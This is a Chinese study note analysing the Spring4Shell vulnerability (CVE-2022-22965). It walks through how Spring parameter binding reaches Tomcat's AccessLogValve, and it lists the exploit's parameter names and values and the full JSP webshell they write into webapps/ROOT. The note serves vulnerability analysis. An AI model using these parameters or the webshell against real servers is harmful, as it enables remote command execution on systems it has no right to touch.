Spring 远程命令执行漏洞(CVE-2022-22965)

5/8/2022 Vulnerabilities笔记

# 原理

springMVC支持嵌套参数绑定。假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:

Param.getFoo()
    Foo.getBar()
        Bar.getBaz()
            Baz.setQux() // 注意这里为set
1
2
3
4

Tomcat的Valve用于处理请求和响应,通过组合了多个ValvePipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t &quot;%r&quot; %s %b" />
1
2
3

下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd

# 漏洞分析

对POC进行解码后可以得到以下5对参数:

  1. pattern参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
    • 参数值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

    这里利用的就是嵌套参数解析,最终得到完整的调用链为

    User.getClass()
        java.lang.Class.getModule()
            java.lang.Module.getClassLoader()
                org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                    org.apache.catalina.webresources.StandardRoot.getContext()
                        org.apache.catalina.core.StandardContext.getParent()
                            org.apache.catalina.core.StandardHost.getPipeline()
                                org.apache.catalina.core.StandardPipeline.getFirst()
                                    org.apache.catalina.valves.AccessLogValve.setPattern()
    
    1
    2
    3
    4
    5
    6
    7
    8
    9

    可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValvepattern属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。

    最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):

    <%
    if("j".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
    }
    %>
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。

  2. suffix参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
    • 参数值:.jsp

    suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。

  3. directory参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
    • 参数值:webapps/ROOT

    directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。webapps/ROOT目录是Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。

  4. prefix参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
    • 参数值:tomcatwar

    prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀

  5. fileDateFormat参数

    • 参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    • 参数值:空

    fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。

# 总结

通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录下输出定制的“访问日志” tomcatwar.jsp,该访问日志实际上为一个jsp webshell。

# 关键点

# 1. web应用以war包部署

从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader是将调用链转移到tomcat,并最终利用AccessLogValve输出webshell的关键。而ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。

如果是以jar包的形式运行web应用,classLoader嵌套参数会被解析为org.springframework.boot.loader.LaunchedURLClassLoader,而LaunchedURLClassLoader中并没有getResources方法,调用链也就断掉了。

# 2. jdk版本 >= 1.9

AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,Spring做了一道防御:Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中

image-20220730224959264 当Bean的类型为java.lang.Class时,不返回classLoaderprotectionDomainPropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:

image-20220730225039250

不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链:

Foo.getClass()
    java.lang.Class.getClassLoader()
        BarClassLoader.getBaz()
            ......
1
2
3
4

这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:

Foo.getClass()
    java.lang.Class.getModule() // 绕过
        java.lang.Module.getClassLoader()
            BarClassLoader.getBaz()
                ......
1
2
3
4
5

这就是为什么本漏洞利用条件之二,jdk>=1.9。

# 参考

Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考 (opens new window)

Last Updated: 12/31/2022, 2:58:06 PM